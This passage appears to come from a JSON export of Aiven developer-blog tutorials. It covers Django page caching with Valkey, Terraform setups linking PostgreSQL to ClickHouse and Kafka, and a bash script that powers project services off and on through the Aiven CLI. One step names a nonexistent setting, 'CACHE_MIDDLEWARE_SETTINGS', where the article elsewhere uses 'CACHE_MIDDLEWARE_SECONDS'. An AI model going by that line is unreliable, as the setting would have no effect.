instance, we know that the `VALKEY_SERVICE_URI` includes a password, as well as other connection details, so we don't want to commit those details to version control, or even expose them unnecessarily in our CI (continuous integrations). Using an environment variable allows us to add this information at run time instead, and use a secrets manager in the actual production environment.\n\n## Set the cache behavior\n\nStill in `sandbox/settings.py`, add the following settings after the `CACHES`\ndefinition (add them on lines after the final closing `}` of the `CACHES` definition -\nthese lines should not be indented):\n\n```python\nCACHE_MIDDLEWARE_ALIAS = 'default'\nCACHE_MIDDLEWARE_KEY_PREFIX = ''\nCACHE_MIDDLEWARE_SECONDS = 60 * 10\n```\n\n* [`CACHE_MIDDLEWARE_ALIAS`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-alias) is the cache connection to use for the cache middleware, `default` is the default\n* [`CACHE_MIDDLEWARE_SECONDS`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-seconds) is the the cache timeout, in seconds - how long before a cached page expires. The default is 600.\n* [`CACHE_MIDDLEWARE_KEY_PREFIX`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-key-prefix) is a string used to prefix all the cache keys. The default is an empty string.\n\nThis is actually setting the default behavior, but it seems sensible to be explicit about our choices, and the Django [per-site\ncache](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache) documentation recommends adding these settings.\n\n## Show it in action\n\nLet's restart the sandbox application:\n```shell\nsandbox/manage.py runserver\n```\n\nThen log out and back in, add another book or two to the basket, and open the basket.\n\nRun `valkey-cli` again:\n```\nvalkey-cli -u $VALKEY_SERVICE_URI\n```\n\nAsk it again about the keys it is storing:\n```\nINFO KEYSPACE\n```\n\nThis time we should see something like this in response:\n```\ndb0:keys=32,expires=32,avg_ttl=187151332590\n```\n\nIn this case, it's telling us that:\n\n* there are now 32 keys, so 32 cached items (the actual number will vary according to what you did)\n* all 32 of them have expiration times set\n\nThe last value, `avg_ttl`, isn't terribly useful in this case, as it indicates the average TTL for all of those keys, and some of them have very large values set, presumably to stop them expiring.\n\nGetting more detailed, type: \n\n```\nKEYS *\n```\nWe should then see a list similar to the following:\n```\n 1) \":1:CATEGORY_URL_en-gb_3\"\n 2) \":1:oscar-sandbox||image||ff719c9a5892bf5b4680eb86da85f5aa\"\n 3) \":1:CATEGORY_URL_en-gb_4\"\n 4) \":1:oscar-sandbox||image||20242e100a811986ece16c1fac3b2a57\"\n 5) \":1:views.decorators.cache.cache_header..8ac2d55b8eaa00e52c563c9a18db6736.en-gb.Europe/London\"\n 6) \":1:oscar-sandbox||image||f544ccac158defae9a7da221d5a79d61\"\n 7) \":1:views.decorators.cache.cache_header..357698008328fc178c9adfab49a0d197.en-gb.Europe/London\"\n 8) \":1:CATEGORY_URL_en-gb_7\"\n 9) \":1:CATEGORY_URL_en-gb_6\"\n10) \":1:oscar-sandbox||image||05221781d86552e0ab294b1ba2b4d977\"\n11) \":1:oscar-sandbox||image||0daf8fe2289a1bccdad5cad5a97abefa\"\n12) \":1:oscar-sandbox||image||eee159e62c22e44531117720e9d9e3e7\"\n13) \":1:oscar-sandbox||image||f53672bae89061349c4beb1d55721858\"\n14) \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n15) \":1:oscar-sandbox||image||c08074a3afe5aba9e44b7b2a725266c8\"\n16) \":1:views.decorators.cache.cache_page..GET.8ac2d55b8eaa00e52c563c9a18db6736.7ff9cc28df2e7c550de2e09525c9bf06.en-gb.Europe/London\"\n17) \":1:oscar-sandbox||image||146cc1138e35c43b8f5a8dc41370dda9\"\n18) \":1:views.decorators.cache.cache_page..GET.8ac2d55b8eaa00e52c563c9a18db6736.ed66662513025556335a676d702540bc.en-gb.Europe/London\"\n```\n\nLet's choose one that sounds likely to represent a page view (a key with\n`view.decorators.cache.cache_page..GET` in its name).\n\nGetting the value for the key I chose:\n```\nGET \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nGives me back a \"Django template response\" with an HTML page embedded in it. The response starts with:\n```\n\"\\x80\\x05\\x95\\x98b\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x18django.template.response\\x94\\x8c\\x10TemplateResponse\\x94\n```\nAnd ends with the following:\n```\n\u003ctitle\u003e\\n Basket | Oscar - Sandbox\\n\u003c/title\u003e\n```\n\nWe can also ask for the TTL:\n```\nTTL \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nWhich returns something similar to the following: \n```\n(integer) 474\n```\n\nAnd if you repeat the TTL command for the same key, you will see the time decreasing.\n\nIn fact, if you wait long enough, all of the page view keys will disappear, as they time out, leaving only the image keys - here we can see the first four of those.\n\n```\n 1) \":1:oscar-sandbox||image||ff719c9a5892bf5b4680eb86da85f5aa\"\n 2) \":1:oscar-sandbox||image||20242e100a811986ece16c1fac3b2a57\"\n 3) \":1:oscar-sandbox||image||f544ccac158defae9a7da221d5a79d61\"\n 4) \":1:oscar-sandbox||image||05221781d86552e0ab294b1ba2b4d977\"\n```\n\n## Change the TTL\n\nStop the application and edit `sandbox/settings.py` to change the cache TTL to be 20 (twenty seconds):\n```\nCACHE_MIDDLEWARE_SETTINGS = 20\n```\nThen restart the application and refresh the current page (which in my case was still showing the basket). Use `redis-clis` to ask for the TTL of a content page again. For example:\n```\nTTL \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nThis time, the values returned should be lower - in my case, I saw 11 because\nI wasn't quick enough to see it at 20!\n```\n(integer) 11\n```\nIn other words, all of the page keys will expire within that shorter TTL.\n\n\n## What we've achieved\n\nIn the last post, I explored how to use an Aiven service (Aiven for\nPostgreSQL®) as a backend for a web platform I already knew,\n[Django](https://www.djangoproject.com/). To avoid the lengthy process of\nsetting up my own Django application, I decided to use an existing one, the\n[Oscar sandbox](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html).\n\nIn this post, I showed how to add an Aiven for Valkey cache to that web application. As before, this was not too hard to setup, and it's pleasing to be able to use Aiven services for both the database and the cache.\n\n## More things to look at\n\nThe [Oscar documentation](https://django-oscar.readthedocs.io/) has a lot more\ninformation about the project.\n\nDjango 4.2 is a Long Term Support (LTS) release, supported [until at least 2026](https://docs.djangoproject.com/en/4.2/releases/4.2/). For more information, check out:\n* the [Django 4.2 documentation](https://docs.djangoproject.com/en/4.2/).\n* the [Django 4.2 cache framework](https://docs.djangoproject.com/en/4.2/topics/cache) documentation and its sections on [Caching](https://docs.djangoproject.com/en/4.2/topics/cache/#redis) and the [per-site cache](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache).\n\nIf you're just wanting to see the current state of Django, then check out the latest version of the [Django documentation](https://docs.djangoproject.com/).\n\nAlso check out [Aiven for Valkey](https://aiven.io/valkey),\nand if you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup).\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-22T07:34:19.666Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"36c32228c10f","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-08-15T07:34:00.863Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Set up Django to use Aiven for Valkey™","asset":{"_ref":"image-4727e451bdce10ade383a5d8e1fe8da22683d061-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/set-up-django-to-use-aiven-for-valkey"},"subtitle":"Django is a fully-featured high-level Python web framework. Read on to see how to get it to cache its data using Aiven for Valkey™.","tags":[{"_key":"4164685a9fd3","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"d3dc41b2da46","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"48c8a92ebd30","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"69e7068e3922","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"97976ff929fd","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"}],"title":"Set up Django to use Aiven for Valkey™"} {"__i18n_lang":"en","_createdAt":"2023-08-23T13:18:47Z","_id":"338f7f6f-9163-41fe-8695-d949cf32cdda","_rev":"ZgPiUE9lJ1tcRKuFnaLct7","_type":"devArticle","_updatedAt":"2024-07-11T13:56:53Z","body":"You can use a PostgreSQL® database as a data source and [Aiven for ClickHouse®](https://aiven.io/clickhouse) to read, transform, and execute jobs using data from the PostgreSQL server. For this purpose, you need to integrate [Aiven for PostgreSQL®](https://aiven.io/postgresql) with Aiven for ClickHouse. Continue reading to learn how to connect these services using [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n\nImagine that you've been collecting IoT measurements from thousands of sensors and storing them in ClickHouse database ``iot_measurements``. Now, you'd like to enrich your metrics by adding the sensor's location to the measurements so that you can filter the metrics by city name. The sensor's location data is available in the ``sensors_dim`` database in PostgreSQL.\n\nThis recipe calls for the following:\n\n1. Set up an Aiven for ClickHouse database. [Sign up for an Aiven account](https://console.aiven.io/signup) to do so.\n2. Insert your measurements data into the Aiven for ClickHouse database.\n3. Combine your measurements data in the Aiven for ClickHouse database with the related PostgreSQL dimension database.\n\n:::mermaid\n\n flowchart LR\n subgraph Aiven for PostgreSQL\n id1[(sensors_dim database)]\n end\n subgraph Aiven for ClickHouse\n id2[(iot_measurements database)]\n id3[(service_postgres-gcp-us_sensor_dims_public database)]\n end\n id1 ==\u003e |Service integration| id3\n:::\n\n## Common files\n\nNavigate to a new folder and add the following files:\n\n``provider.tf`` file\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\napi_token = var.aiven_api_token\n}\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n``variables.tf`` file\n\nUse it for defining the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name, and the prefix for the service name.\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\n``*.tfvars`` file\n\nUse it to indicate the actual values of the variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe following Terraform script initializes both Aiven for PostgreSQL and Aiven for ClickHouse services, creates the service integration, the source PostgreSQL database, and the Aiven for ClickHouse database.\n\n```toml\n// Postgres service based in GCP US East\nresource \"aiven_pg\" \"postgres\" {\n project = var.project_name\n service_name = \"postgres-gcp-us\"\n cloud_name = \"google-us-east4\"\n plan = \"business-8\" // Primary + read-only replica\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\n// Postgres sensor dimensions database\nresource \"aiven_pg_database\" \"sensor_dims\" {\n project = var.project_name\n service_name = aiven_pg.postgres.service_name\n database_name = \"sensor_dims\"\n}\n\n// ClickHouse service based in the same region\nresource \"aiven_clickhouse\" \"clickhouse\" {\n project = var.project_name\n service_name = \"clickhouse-gcp-us\"\n cloud_name = \"google-us-east4\"\n plan = \"startup-16\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\n// Sample ClickHouse database that can be used to write and process raw data\nresource \"aiven_clickhouse_database\" \"iot_measurements\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n name = \"iot_measurements\"\n}\n\n// ClickHouse service integration for the PostgreSQL service as a source\nresource \"aiven_service_integration\" \"clickhouse_postgres_source\" {\n project = var.project_name\n integration_type = \"clickhouse_postgresql\"\n source_service_name = aiven_pg.postgres.service_name\n destination_service_name = aiven_clickhouse.clickhouse.service_name\n clickhouse_postgresql_user_config {\n databases {\n database = aiven_pg_database.sensor_dims.database_name\n schema = \"public\"\n }\n }\n}\n```\n\n## Execute the files \n\nRun the following command:\n\n```bash\nterraform init\n```\n \nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nRun the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n \nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen next.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n \nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n\n* ``aiven_clickhouse`` resource creates an Aiven for ClickHouse service with the parameters specified in the ``services.tf`` file (project name, cloud name, service plan and service name)\n* ``aiven_clickhouse_database`` resource creates a database that can be used to store high-throughput measurement data as well as create new tables and views to process this data.\n* ``aiven_pg`` resource creates a highly-available Aiven for PostgreSQL service.\n* ``aiven_pg_database`` resource creates the ``sensor_dims`` database.\n* ``aiven_service_integration`` resource creates the integration between the Aiven for PostgreSQL and Aiven for ClickHouse services.\n\nThis results in the creation of the ``service_postgres-gcp-us_sensor_dims_public`` database in Aiven for ClickHouse, allowing you to access the ``sensor_dims`` database for the ``postgres-gcp-us`` service.\n\n\n## Learn more \n\nWhen you use this recipe, parameters and configurations will vary from those used in this article. For Aiven for PostgreSQL and Aiven for ClickHouse advanced parameters, a related blog, and instructions on how to get started with Aiven Terraform Provider, see [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html).\n\n## More resources\n\n- [Aiven for ClickHouse® quickstart](https://aiven.io/docs/products/clickhouse/get-started)\n- [Aiven for PostgreSQL® quickstart](https://aiven.io/docs/products/postgresql/get-started)\n- [Integrate ClickHouse® with Metabase, an open source BI tool](https://aiven.io/developer/clickhouse-metabase)\n- [Use PostgreSQL® DOMAIN rules to validate columns of data](https://aiven.io/developer/use-postgresql-domain-rules-to-validate)\n- [Secure your database access with HashiCorp Vault](https://aiven.io/developer/secure-your-db-with-vault)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T13:18:41.214Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"c48e45ce1be1","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a255fe234d7a1a487b07f2a34886ac276f49d953-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-source-for-clickhouse"},"subtitle":"Deploy an Aiven for PostgreSQL® service and integrate it as a data source with Aiven for ClickHouse® using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"73d4327793be","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"71169b341aac","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"8d493965ccd0","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Aiven for PostgreSQL® as a source for Aiven for ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2023-08-30T09:15:40Z","_id":"0ed2bd1f-f1d7-4792-9e5a-cdf78924bd44","_rev":"Gc7Qq2PHZBylrD6rwQLDjb","_type":"devArticle","_updatedAt":"2024-08-05T12:04:31Z","body":"## Use your resources wisely \n\nIn their very nature, production services normally need to be available 24/7. But non-production services are often only needed during working hours.\n\nLet's assume you have six engineers that are all working on different branches of your codebase, a fairly standard n-tier code stack in front of a relational database, for instance [Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/index.html) or [Aiven for MySQL](https://aiven.io/docs/products/mysql/index.html). So now we have six different developer databases that need to be managed, plus an integration environment, staging and UAT (user acceptance testing) services. \nOur engineering team prioritise a work-life balance, so they are pretty good at 9 to 5, Monday to Friday. It doesn't make sense to have the database services running after hours and on weekends.\n\nAiven managed databases can be powered off. Powered off services do not incur any billing. Let's assume the following pricing for Aiven for PostgreSQL as an example, based on a Business 64 service running in UAT to give a like for like environment with production (this pricing is historical - it's not meant to be accurate). \n\n| Assumption | Pricing |\n| ------- | ------- |\n| per month | $3200 |\n| per day without power down | $105.21 |\n| per day with power down (14hrs off) | $43.84 |\n| per month with power down (services running during business hours 10hrs per day, 21 days) | ~ $950 |\n\nGiven those pricing assumptions, we can save ourselves 70% per month on this service alone if we automate stopping and starting it. In a real scenario, the actual saving might be more or less, but it's still likely to be significant.\n\nLet's jump in and have a look at how this might work.\n\nLooking at the [documentation](https://docs.aiven.io/) I can see that Aiven provides a number of different [tools](https://aiven.io/docs/tools/index.html) for controlling the services. Of course you could assign a task to one of the team to open the console every day and stop the relevant services, then start their day tomorrow by restarting these services, but it would be more efficient to automate this. The [Aiven REST API](https://aiven.io/docs/tools/api/index.html) and the [Aiven CLI](https://aiven.io/docs/tools/cli.html) (command line interface) are both excellent tools for this task. \n\nIn the examples below, we're going to use the [Aiven CLI](https://aiven.io/docs/tools/cli) and the [jq JSON processor](https://stedolan.github.io/jq/). See the referenced pages for how to install them.\n\n## Authentication\n\nWe are going to need an authentication token. Read the documentation to see how to [create an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html).\n\nBe sure you understand the [details of authentication tokens](https://aiven.io/docs/platform/concepts/authentication-tokens.html) in Aiven, specifically how the token is associated with the user account that is used to create the token. Authentication tokens have the same access level as the user who created them. For non-production projects, consider creating a user that only has [access](https://aiven.io/docs/platform/howto/manage-project) to those non-production projects. This way you can ensure the script cannot shut down production services by accident.\n\n::alert[This user would require at least Operator role in the project that the services are deployed to.]\n\n## A word of caution\n\nBefore you do anything, read the specifics for the Aiven service you're dealing with, because they behave differently in how their storage is managed, and whether data is lost when the service is powered off. Streaming services such as Aiven for Apache Kafka® will not preserve data when shut down. Some services, such as Aiven for OpenSearch®, will only preserve data since the last backup.\n\nHave a look at the backup frequency per service in the [Backups for Aiven](https://aiven.io/docs/platform/concepts/service_backups.html) documentation, check out the details in the [Service power cycle](https://aiven.io/docs/platform/concepts/service-power-cycle) documentation.\n\nFor services that should not be shut down, you can enable termination protection. See the flags for [avn service create](https://aiven.io/docs/tools/cli/service#avn-service-create) and [avn service update](https://aiven.io/docs/tools/cli/service#avn-service-update).\n\nIf you have [read replicas](https://aiven.io/docs/products/postgresql/howto/create-read-replica.html) running for an Aiven for PostgreSQL service, you will want to destroy them before attempting to shutdown the main service, as they won't be shutdown automatically (and you would get errors). Just remember to rebuild when you start these up again. \n\n\n## Using the Aiven CLI to power cycle a service\n\nOne of the tools that I find myself using pretty much every day is the Aiven CLI. \n\nFirst, ensure you have [authenticated your CLI](https://aiven.io/docs/tools/cli.html). \nThen, switch the default project to the one where your services are running, the services you wish to shut down that is. As `shutdown-demo` is the name for the project in Aiven where the services I am controlling are found, I type\n```\navn project switch shutdown-demo\n```\nwhich confirms with\n```\nINFO\tSet project 'shutdown-demo' as the default project\n```\n\nOf course, you would set your own default project in the above command.\n\nThen double check your work, list the services in the default project to see that they are the ones your are targeting. Use:\n\n```\navn service list\n```\nto get output of the form:\n```\nSERVICE_NAME SERVICE_TYPE STATE CLOUD_NAME PLAN CREATE_TIME UPDATE_TIME NOTIFICATIONS\n================== ============ ======= =========================== ========== ==================== ==================== =============\ncassandra-14fc5dba cassandra RUNNING google-australia-southeast1 startup-4 2022-05-18T06:56:47Z 2022-06-21T02:29:11Z\nos-157f6082 opensearch RUNNING google-australia-southeast1 business-4 2022-05-18T06:55:55Z 2022-06-21T02:24:00Z\ngrafana-3f786321 grafana RUNNING google-australia-southeast1 startup-1 2022-06-03T00:03:15Z 2022-06-21T02:21:28Z\nkafka-32e61bb7 kafka RUNNING google-australia-southeast1 business-4 2022-05-24T23:21:47Z 2022-06-21T02:23:20Z\nm3db-228ac07 m3db RUNNING google-australia-southeast1 startup-8 2022-06-02T23:47:56Z 2022-06-21T02:21:29Z\npg-25d65efa pg RUNNING google-australia-southeast1 premium-4 2022-05-19T23:13:12Z 2022-06-21T02:22:37Z\nredis-2bb763ee redis RUNNING google-australia-southeast1 business-4 2022-05-18T06:55:31Z 2022-06-21T02:23:13Z\n```\n\nWe can see that STATE here which tells me whether each service is currently running or not. \n\nSo, for the services I want to power cycle, I can then issue this command\n\n```\navn service update --power-off \u003cSERVICE_NAME\u003e\n```\n\n## An example shell script\n\nNow we know how to use power services on or off with the Aiven CLI, let's write a bash script that can be run to start and/or stop services as required. \n\n::alert[This example script will power cycle ALL services in a particular project, so make sure you have read [the word of caution](#a-word-of-caution) above.]{type=\"warning\" title=\"Warning\"}\n\nIn a script, it's better to use the JSON output from the `avn` command, which we can get with the `--json` flag, and then process using the [jq JSON processor](https://stedolan.github.io/jq/).\n\nWe can put this all together into a nice, simple to use (and perhaps [crontab](https://www.adminschoice.com/crontab-quick-reference)) script. But again, take care, you'll want something more sophisticated for use in real life, as it will stop or start all services in a project, whether they'll lose data or not!\n\n::alert[A fully productionised version of the script would probably at least take a list of service names or types, and might even refuse to stop particular types of service.]{type=\"success\" title=\"Tip\"}\n\n```bash\n#!/bin/bash\n#\n# Start or stop all services in a named project.\n#\n# Does NOT take any account of whether data will be lost by stopping a service.\n\n# exit on error of any command\nset -e\n\n# function to print usage and exit\nexit_on_error() {\n echo \"$1\"\n echo \"Usage : bash-aiven-controller -p \u003cproject\u003e -o \u003cstart|stop\u003e\"\n exit 1\n}\n\n# function that starts an Aiven service\nstart_service() {\n echo \"Starting $1\"\n avn service update --project \"$project\" --power-on \"$1\"\n}\n\n# function that stops an Aiven service\nstop_service() {\n echo \"Stopping $1\"\n avn service update --project \"$project\" --power-off \"$1\"\n}\n\n# read commandline flags\n# we want the project (-p) and the operation (-o [start|stop])\nwhile getopts \":p:o:\" flag\ndo\n case \"$flag\" in\n p) project=${OPTARG};;\n o) operation=${OPTARG};;\n \\?) exit_on_error \"Unrecognised option -${OPTARG}\";;\n :) exit_on_error \"Option -${OPTARG} needs an argument\";;\n esac\ndone\n\n# test if the project flag exists\nif [ -z \"$project\" ]\nthen\n exit_on_error \"No project name specified. Use '-p \u003cproject\u003e'\"\nfi\n\n# test if the operation is either start or stop\nif [ \"$operation\" == \"start\" ] || [ \"$operation\" == \"stop\" ];\nthen\n echo \"Getting ready to $operation all services\"\nelse\n exit_on_error \"Operation (-o $operation) is not recognised. Use '-o start' or '-o stop'\"\nfi\n\nservices=$(avn service list --project \"$project\" --json)\n\n# Loop over all the services in this project, doing the operation.\n# The `-raw-ouptut` switch to jq makes it write strings to stdout without extra quotes.\n# The `@base64` encodes the data for each service as base64 to \"hide\" the newlines in\n# the output.\nfor row in $(echo \"$services\" | jq --raw-output '.[] | @base64'); do\n\n name=$(echo \"$row\" | base64 --decode | jq -r '.service_name')\n state=$(echo \"$row\" | base64 --decode | jq -r '.state')\n\n if [ \"$operation\" == \"stop\" ]\n then\n if [ \"$state\" == \"RUNNING\" ]\n then\n stop_service \"$name\"\n else\n echo \"Not attempting to stop $name because it is currently $state\"\n fi\n else\n if [ \"$state\" == \"POWEROFF\" ]\n then\n start_service \"$name\"\n else\n echo \"Not attempting to start $name because it is currently $state\"\n fi\n fi\ndone\n```\n\n\n## Things to remember\n\nIt is not immediately obvious that you can start and stop services when using a managed service provider like Aiven. However, you can take advantage of this to save yourself some spend on non-production resources.\nIt is also worth remembering that your engineers are human and humans forget things, so this kind of automation ensures that you get all the value possible from your Aiven investment.\n\nOur key things to remember when doing this are :\n* Not all services are created equal, some will destroy your data. \n* Allow your engineers the ability to restart when they need to.\n* Organising services using projects will make this easier.\n\nUsing a shell script, the Aiven CLI, and a small cron job on a server somewhere, you will be able to stretch your non-production resources and make sure that the TCO (total cost of ownership) of your Aiven investment is even better than what the team first calculated. \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-06T09:15:26.882Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"b517b357a759","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-30T09:55:50.027Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Save resources: only run services when you need them\", against a blue background, with the Aiven cuddly crab logo at the bottom right","asset":{"_ref":"image-54288ce1dba155259eef2ef2ca4038e64b1c401f-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/controlling-aiven-services-with-the-cli"},"subtitle":"Running non-production services when they’re not needed can waste money. Learn how to start and stop them as needed, using the Aiven CLI.","tags":[{"_key":"6802310112dc","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"dc56121a201b","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Controlling non-production Aiven Services with the CLI"} {"__i18n_lang":"en","_createdAt":"2023-08-22T08:05:04Z","_id":"373999f2-cb1a-48f5-8bba-b8a6295ba885","_rev":"VeNKqGNmt13PzvGhqsSeIQ","_type":"devArticle","_updatedAt":"2024-01-29T15:45:36Z","body":"The [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is a great choice for provisioning an [Aiven for Apache Kafka®](https://aiven.io/kafka) cluster with Kafka Connect enabled and the [Debezium source connector for PostgreSQL®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) configured.\n\nLet's check out the following diagram to understand the setup.\n\n:::mermaid\n\n flowchart LR\n id1[(PostgreSQL service on GCP)]\n subgraph Kafka Connect\n Debezium-Source-Connector-PG\n end\n subgraph Apache Kafka on Azure\n Topic\n end\n id1 ---\u003e|wal2json plugin| Debezium-Source-Connector-PG ---\u003e|publishes changes| Topic\n\n:::\n\n## Describe the setup\n\nThis terraform recipe will provision one [Aiven for PostgreSQL®](https://aiven.io/postgresql) database service, one Aiven for Apache Kafka service, and a separate Aiven for Apache Kafka Connect service with a Debezium source connector for PostgreSQL enabled and configured to connect to the PostgreSQL database and capture any changes in tables. The Aiven for Apache Kafka service is deployed in the Azure cloud, whereas the PostgreSQL database, like the Aiven for Apache Kafka Connector service, is deployed in the Google Cloud.\n\nAiven makes it very easy to configure services in different clouds that integrate seamlessly. As soon as any of the monitored tables is inserted or updated with new data, the Debezium connector will capture the data change and convert table data into a JSON payload and produce messages to the relevant Kafka topic. Some of these services are created on one cloud provider and some on another cloud provider, to demonstrate how easy it is with Aiven to integrate services across multiple cloud vendors.\n\n::alert[Aiven provides the option to run Kafka Connect on the same nodes as your Kafka cluster, sharing the resources. This is a low-cost way to get started with Kafka Connect. A standalone Aiven for Apache Kafka® Connect allows you to scale independently, offers more CPU time and memory for the Kafka Connect service and reduces load on nodes, making the cluster more stable.]{title=\"Warning\"}\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe.\n\nFor example, you'll need to declare the variables for ``project`` and ``api_token``.\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\ndescription = \"Aiven console API token\"\ntype = string\n}\n\nvariable \"project_name\" {\ndescription = \"Aiven console project name\"\ntype = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe ``services.tf`` file for the provisioning of these three services, service integration, and related resource is this:\n\n```toml\nresource \"aiven_pg\" \"demo-pg\" {\n project = var.project_name\n service_name = \"demo-postgres\"\n cloud_name = \"google-europe-north1\"\n plan = \"business-4\"\n}\n\nresource \"aiven_kafka\" \"demo-kafka\" {\n project = var.project_name\n cloud_name = \"google-europe-north1\"\n plan = \"business-4\"\n service_name = \"demo-kafka\"\n maintenance_window_dow = \"saturday\"\n maintenance_window_time = \"10:00:00\"\n kafka_user_config {\n kafka_rest = true\n kafka_connect = false\n schema_registry = true\n kafka_version = \"3.4\"\n\n kafka {\n auto_create_topics_enable = true\n num_partitions = 3\n default_replication_factor = 2\n min_insync_replicas = 2\n }\n\n kafka_authentication_methods {\n certificate = true\n }\n\n }\n}\n\nresource \"aiven_kafka_connect\" \"demo-kafka-connect\" {\n project = var.project_name\n 